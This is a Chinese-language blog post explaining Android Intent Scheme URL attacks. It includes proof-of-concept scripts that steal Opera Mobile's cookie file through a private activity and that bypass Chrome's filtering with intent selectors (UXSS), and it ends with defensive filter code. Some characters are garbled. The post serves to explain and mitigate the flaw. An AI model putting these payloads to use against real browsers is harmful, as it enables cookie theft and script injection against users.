Android Intent Scheme URLs攻击

0x0 引言

 我们知道,在Android上的Intent-based攻击非常普遍。这样的攻击轻则导致应用程序崩溃。重则可能演变提权漏洞。当然,通过静态特征匹配,Intent-Based的恶意样本还是非常easy被识别出来的。

然而近期出现了一种基于Android Browser的攻击手段——Intent Scheme URLs攻击。这样的攻击方式利用了浏览器保护措施的不足,通过浏览器作为桥梁间接实现Intend-Based攻击。

相比于普通Intend-Based攻击,这样的方式极具隐蔽性,并且因为恶意代码隐藏WebPage中。传统的特征匹配全然不起作用。除此之外,这样的攻击还能直接訪问跟浏览器自身的组件(不管是公开还是私有)和私有文件,比方cookie文件。进而导致用户机密信息的泄露。


0x1 Intent scheme URL的使用方法

看一下Intent Scheme URL的使用方法。

<script>location.href = “intent:mydata#Intent;action=myaction;type=text/plain;end”</script>

从使用方法上看,还是非常好理解的,这里的代码等价于例如以下Java代码:

Intent intent = new Intent(“myaction”);
intent.setData(Uri.parse(“mydata”));
intent.setType(“text/plain”);

再看一个样例:

intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end

上面的语句,等价于例如以下Java代码:

Intent intent = new Intent(“myaction”);
intent.setData(Uri.pase(“//foobar/”));
intent.putExtra(“xyz”, “123”);
intent.putExtra(“abc”, 678);

当中S代表String类型的key-value,i代表int类型的key-value。

源代码中提供了Intent.parseUri(String uri)静态方法,通过这种方法能够直接解析uri,假设想更一步了解当中的语法,能够查看官方源代码。


0x2 Intent scheme URI的解析及过滤

假设浏览器支持Intent Scheme URI语法。通常会分三个步骤进行处理:

  1. 利用Intent.parseUri解析uri,获取原始的intent对象。
  2. 对intent对象设置过滤规则。不同的浏览器有不同的策略。后面会具体介绍。
  3. 通过Context.startActivityIfNeeded或者Context.startActivity发送intent;

当中步骤2起关键作用,过滤规则缺失或者存在缺陷都会导致Intent Schem URL攻击。

以下是各大浏览器对Intent scheme URL的支持情况 



可见,除了Firefox外其它的浏览器都支持Intent Scheme URL语法。



0x3 攻击演示样例

a.Opera mobile之cookie盗取

Opera上的intent过滤策略是全然缺失的,因此我们能够轻易调用Opera上的私有activity。比方以下这个攻击演示样例:

<script>
location.href = “intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end”;
</script>

通过上面的脚本,我们能够直接调起AdMarvelActivity。AdMarvelActvity会从intent中获取url。并以HTML/JavaScript的方式解析cookies文件。

试想一下,假设我们预先构造一个恶意站点,并让用户通过浏览器訪问。

这时在恶意见面中,存在例如以下脚本:

<script>
document.cookie = “x=<script>(javascript code)</scr” + “ipt>; path=/blah; expires=Tue, 01-Jan-2030 00:00:00 GMT”;
location.href = “intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end”;
</script>

当AdMarvelActivity解析cookies文件时,就会运行playload。


b.Chrome之UXSS

Chrome的UXSS漏洞利用相对复杂。介绍之前。我们须要先了解一下关于Intent Selector的使用方法。详情见。简而言之。Intent Selector机制提供一种main intent不匹配的情况下能够设置替补的方案。

比方A是main intent, B是A的selector intent,当startActiviy时,系统发现A无法匹配则会尝试用B去匹配。

Chrome相比于Opera,在intent过滤的步骤中加入了安全策略。代码例如以下:

Intent intent = Intent.parseUri(uri);
intent.addCategory(“android.intent.category.BROWSABLE”);
intent.setComponent(null);
context.startActivityIfNeeded(intent, -1);

从代码中。能够看到Chrome为了防御Intent Based攻击,做了不少限制。比方把category强置为”android.intent.category.BROWSABLE”,把component强置为null,相对之后比Opera强多了。然而。Chrome忽略了Intent Selector的使用方法,比方以下的使用方法:

intent:#Intent;S.xxx=123; SEL;component=com.android.chrome/.xyz;end

留意当中的keyword“SEL”,事实上就是设置了一个component为com.android.chrome/.xyz的 selector intent,这样的使用方法导致chrome的防御措施形同虚设。最后看一下Chrome UXSS的PoC:

<script>
//通过WebAppActivity0我们先打开一个攻击的网站
location.href = "intent:#Intent;S.webapp_url=http://victim.example.jp;l.webapp_id=0;SEL;compo nent=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";
// 停留2s或者更长时间, 然后注入javascript payload
setTimeout(function() {
location.href = "intent:#Intent;S.webapp_url=javascript:(malicious javascript code);l.webapp_id=1;SEL;component=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";
}, 2000); 
</script>

这里的关键点是WebappActivity0对new intent的处理方式上。

第一次打开网站。并完毕载入。

第二次则是直接把javascript payload注入到目标网页。这个漏洞存在于在全部低于v.30.0.1599.92的chrome版本号。而新版本号改动WebappActivity对new intent的处理方式,会创建new tab,这样就避免了javascript inject。

然而在新版中,依旧没有屏避intent selector的使用。因此依旧存在Chrome的私有组件和文件被读取的安全隐患。


0x4 结论

通过上两个漏洞的描写叙述,我们总结得出一种相对照较安全的Intent Filter方法,代码例如以下:

// convert intent scheme URL to intent object
Intent intent = Intent.parseUri(uri);
// forbid launching activities without BROWSABLE category
intent.addCategory("android.intent.category.BROWSABLE");
// forbid explicit call
intent.setComponent(null);
// forbid intent with selector intent
intent.setSelector(null);
// start the activity by the intent
context.startActivityIfNeeded(intent, -1);



posted @ 2017-04-17 17:55  lytwajue  阅读(1992)  评论(0编辑  收藏  举报